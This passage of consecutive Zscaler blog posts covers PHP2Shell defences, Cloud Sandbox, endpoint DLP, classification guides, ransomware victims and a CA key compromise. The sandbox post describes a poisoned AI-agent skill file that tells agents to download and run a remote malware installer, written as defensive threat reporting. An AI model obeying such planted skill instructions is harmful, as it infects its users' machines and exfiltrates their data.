2024 audit. At the time, the team couldn't agree on a fix, and nobody believed a working exploit was practically feasible, so the issue was set aside.Two years later, two separate teams using frontier AI models were able to reason through PHP’s complex memory management and prove the bug could be reliably exploited.While defenders found PHP2Shell first, the same AI capabilities have permanently compressed the window between disclosure and mass exploitation. All the grunt work that used to slow attackers down—reverse-engineering patches, mapping out target environments, and testing exploit variations—can now be automated in minutes.Look at the timeline that unfolded in October:Four days before public disclosure, Amazon Threat Intelligence spotted early PHP2Shell exploitation attempts in its honeypot telemetry on October 17.Before the official embargo even lifted, a software vendor pushed patched packages early. Attackers immediately diffed the code changes to see what was fixed and started circulating working proof-of-concept exploits.Within minutes of the official patch release on October 21, mass automated scanning was underway across the internet, forcing agencies like the US NSA, CERT-EU, and the UK’s NCSC to warn organizations to either update immediately or take their servers offline.We now live in an era where the time-to-exploit is effectively negative. Attackers can weaponize a flaw in minutes, whereas enterprise IT still has to deal with change freezes, dependency checks, regression testing, and maintenance windows. If your entire defense rests on winning a footrace to patch every server first, the odds are stacked against you.PHP2Shell Is an Internal Enterprise Problem, TooPHP2Shell is not only a problem for marketing websites running WordPress, Drupal, or Joomla. In practice, almost every large enterprise has a massive, often undocumented footprint of PHP running behind the scenes on its internal network. For over twenty years, PHP has been the default language for internal web interfaces, database utilities, and bundled infrastructure appliances. Even if your developers never write a line of PHP, it is likely sitting inside your environment right now:Network monitoring and infrastructure tools: Many of the platforms sitting at the heart of the enterprise NOC—including Zabbix, Nagios XI, LibreNMS, and Cacti—use PHP to power their web frontends. Because these systems monitor the entire environment, they are high-value targets often holding SNMP community strings, API tokens, and administrative credentials.Internal IT and business systems: Popular IP address management (IPAM) tools like phpIPAM, IT asset and service desk platforms like Snipe-IT and GLPI, internal wikis like MediaWiki, and self-hosted file sharing platforms like Nextcloud all run on PHP.Database utilities and internal CRUD apps: Legacy instances of phpMyAdmin or single-file utilities like Adminer frequently linger in dev/test subnets and staging environments, alongside custom internal admin portals built on PHP frameworks like Laravel and Symfony that sit directly in front of sensitive SQL databases.Embedded web consoles and virtual appliances: Dozens of virtual appliances, VoIP/PBX systems (like FreePBX), web control panels (cPanel, Plesk), and edge devices (such as pfSense and OPNsense in branch or lab environments) bundle PHP under the hood just to serve their browser-based administration consoles.Making matters worse, the official binary patches for PHP2Shell only cover active versions (PHP 8.2 through 8.5). Older versions like PHP 7.4, 8.0, and 8.1 are end-of-life. Countless legacy internal apps and "black-box" vendor appliances can't be updated without breaking dependencies or voiding vendor support.If an attacker gets a foothold on your network—whether through a phished credential, a third-party contractor's laptop, or an exposed VPN—their next move is to scan your internal IP space. An unpatched phpMyAdmin instance or an old appliance interface is all they need to trigger PHP2Shell and take over the underlying host.Zscaler’s Four-Step Security Framework: Hide, Segment, Shield, DeceivePatching PHP should be a top priority for your security team. Updating the underlying code is the only way to permanently close CVE-2026-109618 and CVE-2026-109619.But how do you protect the business during the days or weeks it takes to track down every PHP instance, test the updates, and roll them out across thousands of workloads? And how do you put in place a security architecture that protects you from whatever new CVE is disclosed next week, and the week after that? A Zero Trust architecture dramatically reduces exposure of your critical applications and lets you put immediate protective layers around vulnerable apps so your teams can patch methodically.With Zscaler, that protection happens in four steps:1. HIDE: Make Internal Apps Invisible with Zscaler Private Access (ZPA)Why did so many organizations have to shut down their web services during the PHP2Shell rollout? Because their servers were sitting on public IP addresses where automated scanners could find and exploit them. Many enterprises inadvertently do the exact same thing with internal tools—exposing database portals, staging environments, or admin consoles through split-tunnel VPNs, firewall port forwards, or public cloud IPs.Zscaler Private Access (ZPA) takes those applications off the public internet completely. Applications sit behind lightweight App Connectors that only establish outbound connections to the Zscaler cloud. There are no inbound open ports and no public IPs to scan. If an outside attacker or an AI botnet sweeps the internet looking for vulnerable PHP servers, your private applications simply do not exist to them. They can’t attack what they can’t see.2. SEGMENT: Shrink Internal Exposure with Autonomous User-to-App SegmentationTaking apps off the internet stops external scans, but you still have employees, contractors, and vendors who need to get work done. In a traditional network—or even in a ZPA setup that relies on broad wildcard application segments—anyone who authenticates can often reach way more applications than their job requires. If an attacker compromises one user's device, they can immediately start probing neighboring servers for PHP2Shell.Autonomous User-to-App Segmentation uses AI to analyze actual access patterns and lock down reachability to the bare minimum. Instead of putting users on the network, ZPA connects specific users only to the specific applications they need. A marketing contractor has zero path to reach an engineering database portal or an appliance management console. Even if an attacker compromises an account, they have nowhere to move laterally.3. SHIELD: Stop the Exploit Inline with Autonomous App ShieldFinally, what about the applications that must remain reachable to authorized users while they are still waiting on a patch? If a compromised employee account or a malicious insider has legitimate access to an unpatched PHP app, hiding and segmenting won't stop them from sending a malicious payload down an allowed connection.That is the exact gap Zscaler Autonomous App Shield was built to close. Built directly into the ZPA platform, Autonomous App Shield provides continuous, inline protection for private applications. It uses AI to find and block exploits at the app connector, providing virtual patching long before you can put in a real patch: It continuously maps your application risk. Rather than relying on a point-in-time vulnerability scan from last month, ZPA App Connectors continuously inspect private applications and their runtime characteristics. You get a real-time view of which internal apps are actually running vulnerable versions of PHP so you know exactly where you are exposed and can prioritize remediation accordingly.It applies protections only where they are needed. Competitors push the same signature to every customer, applying protections regardless of whether a vulnerable application actually exists in that environment. That creates false positives, blocking legitimate traffic on systems that don't even run PHP, and false negatives, where the right signature never gets applied because signature limits are exhausted by rules that didn't need to be there in the first place. Zscaler flips this entirely: because we scan first, we only apply a virtual patch to an application that is actually running the vulnerable software. No waste. No unnecessary rules. No risk of cascading policy conflicts.It tailors protection to each individual app. The Zscaler cloud evaluates how each specific application behaves and applies only the virtual patches and inline controls that app actually needs.It adapts automatically as threats and code change. Drawing on threat intelligence from across the Zscaler cloud, alongside our work with IBM and Red Hat’s Project Lightwell, Autonomous App Shield updates its inline defenses as new exploit variations appear in the wild. When your DevOps team ships a code change or applies a patch, the protection adjusts automatically without a manual policy review.With PHP2Shell, Zscaler’s ThreatLabz threat research team pushed mitigating controls through our automated CI/CD pipeline into production before the industry had even agreed on a proper remediation. Customers using ZPA App Protection were protected before most vendors had written a single signature.4. DECEIVE: Trap AI-Driven Recon with High-Fidelity DeceptionWhat makes frontier AI so dangerous in the hands of an attacker is its ability to perform multi-step reasoning. Unlike old-school scripts that blindly fire a single exploit and fail, an AI agent methodically explores its environment: enumerating accessible hosts, inspecting HTTP headers, testing credentials, probing unpatched endpoints like PHP portals, and chaining small findings together to plan its next move.Ironically, that relentless curiosity is also AI’s biggest weakness when you introduce Zscaler Deception.By placing realistic, high-fidelity decoys—such as fake PHP admin portals, decoy database interfaces, and planted lure credentials—directly along the paths an attacker would explore, you turn the AI’s multi-step reasoning against itself. An autonomous agent cannot tell the difference between a real internal phpMyAdmin or Zabbix instance and a Zscaler decoy. Because the AI is programmed to systematically investigate and test every promising lead it discovers, it is uniquely prone to interacting with decoys.And because legitimate users have zero business touching a decoy application, any interaction gives your security team an immediate, high-confidence alert with virtually zero false positives. While traditional detection tools struggle to separate stealthy AI reconnaissance from normal user traffic, a single probe against a decoy exposes the compromised user session right away and lets ZPA automatically quarantine the attacker. Getting Ahead of the Next AI-Discovered FlawPHP2Shell is a preview of what application security looks like from here on out. As frontier AI models get better at auditing decades-old codebases, we are going to see more foundational vulnerabilities surface—and we are going to see attackers weaponize them faster than human teams can push updates.Patching will always be necessary, but it shouldn't be your only line of defense. By hiding your private applications with ZPA, restricting internal reachability with Autonomous User-to-App Segmentation, and blocking exploit attempts inline with Autonomous App Shield, you take the panic out of the remediation window. Your applications stay online, your data stays protected, and your teams can patch on their own schedule—not the attacker’s.To see how Zscaler’s Lateral Threat Bundle can protect your private applications against AI-accelerated threats, reach out to your Zscaler account team.

Five Cloud Sandbox Innovations That Close the Patient Zero Window

Vinay Polurouthu (Senior Director, Product Management - ZIA) — Tue, 27 Oct 2026 13:00:00 GMT

In a recent post on what's new in Zscaler SSE, we covered the latest innovations across the platform. This post goes deeper on one of those areas: Cloud Sandbox, and five innovations that change what inline malware defense can do. The Patient Zero ProblemSecurity only works when it doesn't force a choice between protection and productivity. An organization that locks down everything grinds to a halt. Users find workarounds, shadow IT grows, and the attack surface quietly expands outside the security perimeter. An organization that prioritizes productivity at the expense of coverage leaves gaps that adversaries are increasingly engineered to exploit. Both paths lead to the same outcome: patient zero.The architecture most organizations rely on makes this worse. Legacy appliances and NGFW-attached sandboxes typically operate out-of-band, sending a copy of the file for detonation while the original is already delivered. Endpoint sandboxes only see managed devices and act post-delivery by design. Neither can stop patient zero; they can only confirm it happened.Coverage gaps compound the problem further. The risk isn't always about what a tool inspects, but about what it can't reach. Limited platform support, file size caps, and gaps in file type coverage create predictable blind spots. Adversaries don't stumble into these gaps by accident; they engineer around them deliberately.And they're getting better at it. The ThreatLabz 2026 Ransomware Report found 52 newly active ransomware groups emerged between April 2025 and March 2026, with tooling that appeared to have been developed with GenAI assistance. Attackers are producing novel malware faster than signatures can track, and they're abusing the same AI-powered workflows that enterprise users rely on every day, using them as cover to move malicious content through channels that look legitimate.Zscaler Cloud Sandbox eliminates that gap by moving the sandbox inline, into the inspection path of the Zero Trust Exchange. Unlike architectures that force a binary choice between blocking everything and allowing everything, it provides flexible enforcement options so organizations can balance security with productivity without creating patient zero exposure. The capabilities that follow show how that balance is achieved in practice. 1. AI Instant Verdict: Real-Time Blocking at Inline SpeedDelivering a verdict before the file reaches the endpoint only works if the verdict is fast. Full behavioral detonation takes minutes. Business moves in seconds. If every file waits for detonation, security teams face constant pressure to allow downloads before analysis completes, and that's where patient zero infections happen.AI Instant Verdict handles the common case at machine speed. Powered by a model built from more than 600 million threat signatures and file behavioral patterns, ZIA scores files inline, in real time. Files scoring 91-100 on the AI/ML threat confidence scale are blocked before they reach an endpoint. In production, about 91% of files receive an instant benign verdict and are delivered with no perceptible delay. About 9% are escalated to full dynamic detonation in the cloud. A small percentage are blocked outright as high-confidence malicious. AI Instant Verdict doesn't replace detonation. It accelerates the common case so the uncommon case gets the full behavioral treatment without holding up the rest of the queue. 2. Three Channels, One Engine: Covering Every File Entry PathInline inspection is powerful, but it has a structural blind spot: files that never traverse the network. USB drives, AirDrop transfers, Bluetooth file sharing. These files arrive at the endpoint without touching your proxy, firewall, or cloud security stack. They bypass inline inspection entirely because they take a path inline architectures were never designed to cover.Cloud Sandbox is expanding across three channels, all powered by the same detection engine and delivering the same verdicts.Inline Sandbox provides real-time blocking of malicious content in traffic. Defense-in-depth layers stack in sequence: reputation checks, known pattern matching, content scanning, AI Instant Verdict, and full behavioral detonation. This is the core Cloud Sandbox capability, now accelerated with AI Instant Verdict.API-Driven File Analysis supports on-demand file submission for SOC investigations, M&A file hygiene, partner file exchange, and any workflow where files need analysis outside the inline path. Every detonation produces MITRE ATT&CK-mapped reports with TTPs, IOCs, and PCAPs, giving analysts real evidence rather than another alert. The API feeds directly into existing SIEM/SOAR workflows for out-of-band analysis.Endpoint Sandbox extends coverage to files arriving via offline paths (USB, Bluetooth, AirDrop, or any local transfer). These files are intercepted by Zscaler Client Connector, inspected, and neutralized before execution. This capability is coming in early 2027. Whether files arrive inline through the Zero Trust Exchange, side-loaded onto endpoints via offline channels, or submitted out-of-band by analysts for on-demand inspection, Zscaler Cloud Sandbox covers all three delivery paths with a single detection engine and unified threat intelligence. 3. macOS and Large File Support: Closing Two Evasion GapsTwo evasion paths that legacy sandboxes have long struggled with, and that attackers actively exploit.macOS Detonation. Cloud Sandbox now detonates .dmg and .pkg files across both inline and API channels. Mac endpoints have historically been treated as lower-risk, which has meant lower-coverage. With macOS detonation, the same behavioral analysis that protects Windows environments extends to the Mac fleet.200 MB Large File Support. EXE and DLL files up to 200 MB can now be analyzed, with 10-layer archive inspection for nested and compressed packages. File-size padding is a well-documented evasion technique: attackers deliberately inflate file sizes to exceed sandbox ingestion limits on appliance-based solutions. If your sandbox tops out at 32 MB or 50 MB, you're giving adversaries a free bypass. 4. Content Disarm & ReconstructionWhen the workforce needs access to business-critical files that may carry threats, Content Disarm & Reconstruction (coming early 2027) eliminates the block-or-allow dilemma by stripping malicious content, reconstructing the file in its original native format, and delivering a sanitized version. Users get a sanitized version of the file immediately while full detonation runs in the background. Once the sandbox returns a clean verdict, the original file becomes available. 5. Securing Agentic AIFor 30 years, "malware" meant compiled binaries: EXE files, DLLs, scripts with executable code. The security industry was built around detecting and blocking these artifacts. Agentic AI introduces a different kind of threat.Skill files are plaintext, but they're functionally executable. They instruct autonomous AI agents to act with user permissions. A poisoned skill file doesn't trigger any traditional detection engine because it looks like a text document, yet it can instruct an agent to exfiltrate data or escalate privileges within the legitimate permissions the agent already holds.Zscaler ThreatLabz uncovered a campaign where threat actors published a fake "DeepSeek-Claw" skill for the OpenClaw AI agent framework, embedding malicious instructions in SKILL.md that trick AI agents or developers into silently executing a PowerShell one-liner to download and run a remote MSI installer, ultimately infecting victims with malware to enable remote access, credential theft, and data exfiltration.Cloud Sandbox will address this with two new capabilities. Agentic Tool Download Inspection identifies, inspects, and halts unauthorized agentic AI frameworks and tooling at download time rather than discovering them later at runtime. Skill File Sandbox Detonation inspects and behaviorally analyzes text-based skill manifests and tool instruction files within Cloud Sandbox upon download before they can be loaded by an agent.As threats shift from compiled binaries to plaintext instructions, Cloud Sandbox is the first enterprise sandbox to bring inline behavioral detonation to this entirely new agentic vector. Both capabilities are coming in early 2027. Validated by Independent TestingCloud Sandbox's detection capabilities contributed directly to Zscaler's strongest independent test results yet.In the NSS Labs Q2 2026 SSE Threat Protection Test, Zscaler was tested against the updated SSE Threat Protection Methodology (v3.0), a more demanding standard than prior tests, using an adversarial approach where vendors receive no advance notice of the specific attacks. Zscaler delivered 98.85% overall security effectiveness, 100% evasion resistance across 583 techniques, a 98.65% malware block rate, 100% on handcrafted malware (sandbox-specific), and 99.63% false-positive accuracy. This is the third consecutive year Zscaler has delivered top-tier results. Zscaler was also awarded a AAA rating, the highest possible, in CyberRatings.org independent testing.These results are amplified by the Cloud Effect: every malicious file detected for one customer instantly protects every Zscaler customer globally. With the world's largest inline security cloud processing over 500 billion daily transactions, a zero-day blocked for one organization is blocked for all of them within seconds. Leaving the Legacy Sandbox Era BehindThe innovations above close the patient zero window from multiple angles. Faster verdicts, broader coverage, zero-wait productivity, and forward-looking protection against threats that don't look like traditional malware.And they all run on the same console, same policies, and same platform that ZIA customers already operate. No new appliance. No new tool to manage.Roughly 40% of the on-premises sandbox market still runs legacy hardware that can't inspect encrypted traffic at scale, can't cover macOS, can't handle offline file paths, and can't render AI-powered verdicts. Each of those gaps is an open door.Explore Zscaler Cloud Sandbox

Extend Your Zscaler DLP to Every Endpoint

Prerna Shankar (Senior Manager, Product Marketing- Data Protection) — Tue, 27 Oct 2026 11:00:10 GMT

Why Your Inline DLP Needs an Endpoint AllyYour inline DLP is working. It intercepts sensitive data at the network edge, enforces your policies, and keeps you compliant. But once that data lands on a device, your inline controls lose visibility.A file downloaded to a laptop. A document copied to a USB drive. Sensitive data synced to a personal Dropbox. A report sent to a printer. None of these actions pass through your inline inspection path, and each creates a real data exfiltration risk.The good news? Zscaler seamlessly bridges the endpoint data security gap, making comprehensive protection simpler and more accessible than ever. The Zscaler AdvantageTraditional endpoint DLP has earned its reputation: heavy agents, long deployments, fragmented policies, and slow time to value.That's not the Zscaler model.Zscaler Endpoint DLP is built directly into the Zscaler Client Connector (ZCC). There is no new agent to install, no new console to learn, no new vendor to onboard. Your existing ZCC becomes your endpoint DLP sensor the moment you activate the capability.This isn't a deployment. It's an activation. Security teams are up and running in minutes, not months.And critically, your Inline DLP policies, classification engines, and data identifiers extend directly to the endpoint even when the endpoint is offline. Every rule you've already written, every sensitive data type you've already defined, every control you've already tuned, all of it carries over. Zero rework required. Activate Endpoint DLP and See Risk on Day ZeroOne of the most powerful things about Zscaler Endpoint DLP is what happens the moment you turn it on, even before you configure a single block policy.Out-of-box visibility kicks in immediately. The platform automatically detects and catalogues every connected device across your fleet: removable storage, printers, portable devices, personal cloud sync apps. You get a real-time map of data at rest on endpoints and data movement channels that, until now, were completely dark.Most organizations don't know how much sensitive data is moving off-device until they actually look. Activation gives you that look instantly, with zero additional configuration. Layered Protection Across Every Channel That MattersZscaler Endpoint DLP applies a two-layer protection model that follows the user and the data:Layer 1 | Device Channel Control: Define who can use what. Restrict or allow USB drives, removable media, printers, and portable devices by user, group, or device type. Block unauthorized devices entirely or permit only IT-approved hardware for specific teams.Layer 2 | Content Inspection: Even when a device is permitted, the data it carries is still inspected. Your DLP policies evaluate actual file content, enforcing monitor, block, or user-confirm actions based on what the data contains, not just where it's going. Accelerate Incident Investigations with End-to-End ContextSecurity teams aren't starved for alerts, they're overwhelmed by disconnected ones.Separate endpoint and inline DLP tools mean separate alert streams, separate consoles, and manual correlation when incidents span both. That slows investigations, increases analyst fatigue, and gives risky activity more time to continue.Zscaler Endpoint DLP brings endpoint and inline incidents into a single console. Chronological timelines help analysts trace what happened, what data moved, where it went, which device was involved, and what the user did before and after.From that single view, your teams can:Get complete visibility into sensitive data at rest on endpointsDetect shadow IT for removable devices, printers, and applicationsConduct user- and device-level investigations using a chronological view of activities to surface patterns and anomalies Advanced When You Need It . Simple Always.Zscaler Endpoint DLP scales with your requirements: granular multi-rule policies, network-aware enforcement that automatically adjusts on-premises vs. remote, cross-platform support for Windows and macOS, and Shadow AI data protection for exfiltration paths traditional DLP was never built to catch. All of it is managed from the console your team already uses.Sophistication without added complexity. That's the point. The Only Step Left Is ActivationYour infrastructure is in place. Your policies are written. Your agent is already deployed.Zscaler Endpoint DLP helps you turn the investment you have already made into broader, end-to-end data security, extending your existing controls from the network edge to the endpoint.Ready to take the next step? Check out our webinar on the topic and talk to our product experts to book an Endpoint DLP demo today!

Navigating Strategic Growth as an Account Executive

Zscaler Life (Zscaler) — Mon, 26 Oct 2026 18:56:25 GMT

As a Commercial Account Executive, Chloe True partners with organizations to enable and accelerate their business objectives through Zscaler's platform. By leveraging our collaborative #ONEteam culture and taking active ownership of her development, Chloe has successfully scaled her skills to manage highly strategic accounts.What is your role?My goal is to understand my customers' business initiatives, and share how Zscaler's platform can enable and accelerate their business objectives and what they are looking to achieve. My goal with all of my customers is to be viewed as a top strategic partner and understand what they are trying to accomplish and land tangible, long-term value for the organization.What is your favorite part about working at Zscaler? I am very fortunate to be working in a very relevant industry, for a company that is a definitive leader in the cybersecurity space. But what truly makes it special is the opportunity to solve hard problems alongside some of the best and brightest colleagues as #ONEteam.What makes Zscaler unique?Zscaler is a fast growing company, yet access to leadership and executives is never out of reach. Everyone here is invested in your growth and actively wants to help you succeed. It is not out of the question to have our CEO, Jay Chaudhry, join a customer call or send an email to an account. I have never worked at a company of this size where that was possible. It is incredibly unique!Can you share about your career growth?While I've been a Commercial AE since starting, Zscaler's emphasis on a growth mindset means leadership roles and up-market career opportunities are always within reach. I’ve chosen to stay in the Commercial segment because of its massive growth—scaling from managing accounts of 750 employees to 5,000. By taking ownership of my development and learning to navigate larger, strategic accounts, I’ve been able to deliver high-impact results in my territory for four years while constantly feeling challenged.What advice would you give to someone considering a career as an AE at Zscaler?Be driven, be highly coachable, and always bring a fresh perspective to your team! Embrace our culture of healthy debate and alignment, and focus every day on how you can deliver meaningful, outcome-driven value for your customers and your teamWe’re hiring! Explore open opportunities: www.zscaler.com/careers

Stop Treating Security Classification Guides Like Static Documents

Andrew AJ Forysiak (Field CISO DOD) — Fri, 23 Oct 2026 05:33:26 GMT

Operationalizing SCGs for Zero Trust data decisionsEvery national security organization has some version of the same data sharing problem: the security guidance exists, the data exists, the mission need exists, but the control path between them is manual. Security Classification Guides (SCG) explain what makes information sensitive, how it should be marked, and when combinations of facts become more sensitive than the individual parts. Yet those guides usually sit in documents while mission data moves through file shares, databases, data lakes, SaaS platforms, cross domain workflows, and now AI pipelines. This disconnect, between the releasability of mission critical data and operational effectiveness of our coalition partners, impacts the commander’s decision-making processes and impacts the effectiveness of the joint and coalition force.Implementing Zero Trust for data access greatly enhances the commander’s ability to rapidly integrate the entire contingency force. Zero Trust makes information access decisions based on the user, device, application, data, and context. Within the data pillar, zero trust enables machine readable classification context and through the policy engine data releasability is automated to unlock guidance stored in PDF files. Through Zero Trust the commander can keep pace with conditions on the battlefield. The Real Problem Is AggregationThe hardest classification problem is not always an obvious code word or a visible marking. Often the problem is aggregation. One data element may be acceptable. Another may be acceptable. Together, they may reveal a more sensitive capability, source, method, operational plan, or partner restriction. When teams cannot see that combination at scale, they usually pick one of two bad options: miss the risk or mark everything high.The Strava incident from 2018 is a public example of exactly this problem. Strava published a global heatmap of fitness tracking data. Individual workout routes were harmless on their own, but the aggregated picture revealed the locations, layouts, and activity patterns of military bases and intelligence facilities in conflict zones. None of the underlying data was classified. The combination was operationally sensitive. That kind of aggregation risk is what SCGs are designed to address, and catching it manually at scale is nearly impossible. Over classification feels safer, but it carries a mission cost. It slows coalition data sharing, makes deployed operations harder, increases staff workload with review backlogs, and limits the ability to use data for AI, analytics, and command decision making. Under classification is worse: it creates spillage and unauthorized disclosure risk. The right answer is not more manual review. The right answer is to operationalize the security classification guidance. What It Means to Operationalize an SCGOperationalizing an SCG means translating human readable guidance into classifiers and policy context feeding the Zero Trust policy engine. The guide remains authoritative. Human classification authorities still own the rules. But the operational system can now find matching data, explain why it matched, show who or what has access, and recommend or execute the appropriate control.Break the SCG into atomic rules, aggregation conditions, handling caveats, releasability constraints, and examples.Build classifiers from those rules using exact terms, patterns, dictionaries, entity recognition, machine learning, and semantic examples.Scan mission data repositories such as SMB/NFS shares, NetApp, S3 buckets, OneDrive, SharePoint, application databases, data lakes, and collaboration stores.Map matched data to users, groups, service accounts, APIs, applications, and AI agents with effective access.Implement through the policy engine to bind the classification result to policy decisions: allow, deny, route to guard review, remove access, quarantine, alert, or apply an approved enterprise label. A Concrete ExampleImagine a combatant command wants to share operational reporting with a coalition partner. The SCG says that a platform name alone is lower risk, a general mission area alone is lower risk, and a capability value alone is lower risk. But the combination of platform, location, and capability crosses a threshold and requires a higher marking or a NOFORN handling caveat.A static process depends on a human reviewer catching that combination every time. An operationalized process creates a classifier that detects the combination across repositories. When it finds a match, it records the matched SCG rule, highlights the relevant excerpt, assigns confidence, and checks the access graph. If the file is sitting in an open share or queued for transfer to a coalition portal, the workflow can stop the transfer, route the file to disclosure review, or remove unauthorized access.The point is not to remove humans from classification. The point is to make humans faster, better informed, less dependent on heroic manual review, and able to keep pace with the commander’s intent. Where Zscaler DSPM FitsZscaler DSPM as part of the Zero Trust platform can close the operational gap because commanders now answer questions such as: what sensitive data do I have, where is it, who or what has access, how is it being used, and what action should I take?Discovery and classification can identify sensitive data across cloud, SaaS, structured, unstructured, and customer hosted data stores.Custom and AI/ML classifiers can represent mission specific SCG concepts, including aggregation conditions. When the SCG says that a platform name, a location, and a capability value are each acceptable alone but sensitive in combination, that rule can be encoded as a classifier. DSPM then scans repositories to find where those combinations exist, so the aggregation risk described above is caught at machine scale rather than left to manual review.Access graphing connects sensitive data, including matched aggregations, to users, groups, service accounts, APIs, and AI agents. When a sensitive combination is found, the access graph shows exactly who or what can reach it.Activity context helps prioritize actual mission risk instead of treating every permission as equal.Guided remediation turns findings into action: remove broad access, open an ITSM ticket, alert the owner, route to guard review, or integrate with approved labeling workflows. A Better Zero Trust Data StoryFor Department of War and intelligence adjacent missions, this should become a central Zero Trust data pillar story: do not merely discover sensitive data; convert classification guidance into operational control. That is how agencies reduce over classification, speed coalition sharing, support commanders, and protect mission data as it moves into AI and analytics workflows.The practical starting point is small. Pick one SCG, one mission repository, one access problem, and one policy outcome. For example: identify all files matching a specific compartment rule on a file share, map who can access them, remove broad access, and route edge cases to a classification officer. Then expand to databases, data lakes, cross-domain workflows, and AI pipelines.The future state is not a world where every document is reviewed by hand before it can move. The future state is a data environment where classification guidance is machine actionable, access decisions are evidence based, and commanders can share the right data with the right partners at the speed of mission.If your organization is working to operationalize classification guidance as part of a Zero Trust data strategy, contact your Zscaler sales representative to learn how DSPM can support your mission.

Ransomware Victimology: Redefining the High-Risk User

Phil Hagen (Principal Information Security Researcher) — Thu, 22 Oct 2026 21:07:50 GMT

Demographic analysis of cyberattack victims can often provide insight to attackers’ habits and intent. The insights in the Zscaler ThreatLabz 2026 Ransomware Report include a look at victims based on several factors: their role within a targeted organization, the business function they serve, and industry sector. While these findings should not suggest that defenders shift their attention away from a less-targeted demographic, the findings can be used to prioritize efforts and detections from those most likely to face the initial brunt of ransomware campaigns.Zscaler’s David Moulton and Phil Hagen recently discussed this topic on an episode of SecOps Weekly. Check out the recording for additional perspective. Key TakeawaysRansomware operators seem to be tuning their playbooks to provide the most damaging impact in the shortest amount of time. This has resulted in faster and more successful attacks, as seen with larger payouts for a smaller number of victims detailed in the 2026 Ransomware Report.While victimology analysis helps provide some context for this trend, it certainly does not mean defenders should focus only on highly-positioned individuals, certain business functions, or limit ransomware preparedness and response planning to certain industries. Instead, these observations should inform defenders on how likely they are to be in the attackers’ sights as well as how to prioritize the detection of known ransomware precursors when observed in conjunction with a targeted role or function.This holistic approach will allow defenders to keep in step with the advancement and change in ransomware operations as they continue to evolve in the future. Technical AnalysisMore Senior Roles are the Initial Victims of Ransomware CampaignsMore than half of initial victims in ransomware cases held a title of “Manager” or above. Whether this is the result of deliberate targeting or other factors is unknown. However, the outcome is clear: Attackers are gaining footholds via individual victims with both expansive access in most environments and precious trust with the organization’s personnel.For most organizations, a suspicious request from an obviously bogus, externally-sourced email might finally be discounted after decades of user education. On the other hand, if the attacker sent such a lure from the manager’s actual email account, it would be difficult for the recipient to differentiate the malicious request from a legitimate one via the same manager. Clearly, co-opting an authority figure’s legitimate communications path provides unprecedented access, believability, and therefore successes.Business Functions with Access to Valuable/Regulated Data are Targeted FirstAttackers’ initial access to their targets is overwhelmingly through functions that focus on business operations. This directly translates to gaining access to business-critical information. Two thirds of initial attack vectors involved individual victims in the accounting/finance, sales, operations, and HR departments. This clearly shows attackers are either deliberately targeting or simply finding the most success with parts of the victims’ organizations that provide maximum value for ransom operations.With the immediate access to this business-critical information, attackers increase the likelihood of access to vital information the victim would be more likely to pay to recover or prevent from public disclosure. Obviously data in this category would be more valuable to the victim and command higher recovery or “hush” payments.Just Two Industries Represent Half of All VictimsSimilar to the Business Function findings above, over half of all victims are concentrated among industries in the manufacturing and technology sectors. Whether this is the result of deliberate targeting of these sectors or other factors, the reality is that organizations who are more sensitive to service disruptions and/or have access to sensitive information represent the majority of victims in the sample.Ransomware operators have demonstrated a clear operational tendency to maximize attack impact. A manufacturing environment that measures productivity in daily output and a technology firm whose valuation depends on proprietary intellectual property share the same vulnerability: both are strongly incentivized to pay rather than endure prolonged downtime or risk hostile disclosure. ConclusionAs the ransomware operators change their approaches, so must the defenders. However, a good deal of foundational cybersecurity best practices will remain valuable means of mitigating the attackers’ success. Applying the concept of least-privilege will minimize the amount of data an individual victim can access, thereby limiting the amount of data an attacker can steal using their account. Solutions like Zscaler ZPA, or traditional microsegmentation, constrain lateral movement, preventing a single compromised identity or system from becoming a foothold across the environment. User education remains a vital component of any effective security program; as attacker tactics shift, so should the guidance users receive.Defense operations can use this information to fine tune their own alerting logic as well. While ransomware precursors are generally known and therefore detectable, perhaps a higher priority should be placed on those detections when observed from accounts of senior personnel in the organization or members of a more heavily targeted business function. Zscaler Coverage to aid in Mitigating Ransomware AttacksZscaler ZTE eliminates traditional network architecture in favor of user-to-application and similar controls through a managed and monitored cloud pathway. ZTE’s AI threat detection helps identify malicious targeting early, giving defenders more time to mitigate threats before they become catastrophic.To monitor egress paths and block sensitive data from leaving enterprise systems, Zscaler DLP is uniquely positioned to provide security teams with the visibility needed to identify potential data loss quickly and early, before a ransomware campaign can steal enough data to be a credible risk.As attackers adopt AI technologies, so must security operations teams. Zscaler Agentic SecOps provides a decisive edge in this escalation, providing scalable and adaptive agents to help your human SOC team members keep pace with attackers.

When Certificate Trust Breaks: Why TLS Inspection Is an Enterprise Safety Net

Yaroslav Rosomakho (Chief Scientist) — Thu, 22 Oct 2026 17:39:07 GMT

The recent eMudhra certificate authority compromise highlights an often-overlooked security challenge: protecting enterprise applications that cannot respond to PKI incidents as quickly as modern web browsers.Certificate trust is not absoluteThe security of virtually every Internet connection depends on a fundamental assumption: when a trusted Certificate Authority (CA) issues a digital certificate, that certificate can be relied upon to authenticate the identity of a remote server.But what happens when that trust is misplaced?In October 2026, the discovery of compromised private keys associated with eight intermediate CA certificates issued by eMudhra sent ripples through the Internet security community. Due to a flaw in eMudhra's key-generation process, the affected ECDSA P-384 private keys had values smaller than 256, effectively providing at most 8 bits of randomness instead of the expected 384 bits. This made it possible to recover the private keys almost instantly from publicly available certificates. According to eMudhra, the problem originated from an error during a key-wrapping operation that inadvertently produced a second set of weak keys, which were subsequently used instead of the correctly generated ones.Six affected intermediates were capable of issuing TLS certificates. An attacker possessing their private keys could create fraudulent certificates for arbitrary websites, potentially allowing them to impersonate legitimate services and intercept encrypted communications.This was not a weakness in TLS encryption itself. Rather, it was a failure of the public key infrastructure (PKI) responsible for authenticating the parties establishing encrypted connections.The response from major browser vendors was swift. Google Chrome deployed emergency certificate-blocking updates through CRLSets, while Mozilla Firefox used its OneCRL mechanism to reject the affected certificates. Both mechanisms can distribute emergency distrust decisions without requiring users to install a new browser version.Importantly, Certificate Transparency provided another layer of protection. Google reported that no TLS certificates issued through the affected intermediates had been recorded in Certificate Transparency logs before Chrome's emergency block, preventing fraudulent certificates from being used successfully against CT-enforcing Chrome clients.However, these browser protections raise a much broader question: What about all the enterprise applications that are not web browsers? The enterprise Internet is much bigger than the browserModern browsers are exceptionally sophisticated TLS clients. They benefit from dedicated security engineering teams, centralized trust management, automated updates, Certificate Transparency enforcement, and specialized mechanisms for distributing emergency certificate distrust decisions.Unfortunately, much of the software running in enterprise environments does not share these capabilities.Consider the diversity of applications and systems that establish outbound encrypted connections in a typical large enterprise:Business applications built on Rust, Java, Python, Go, or other language runtimes, 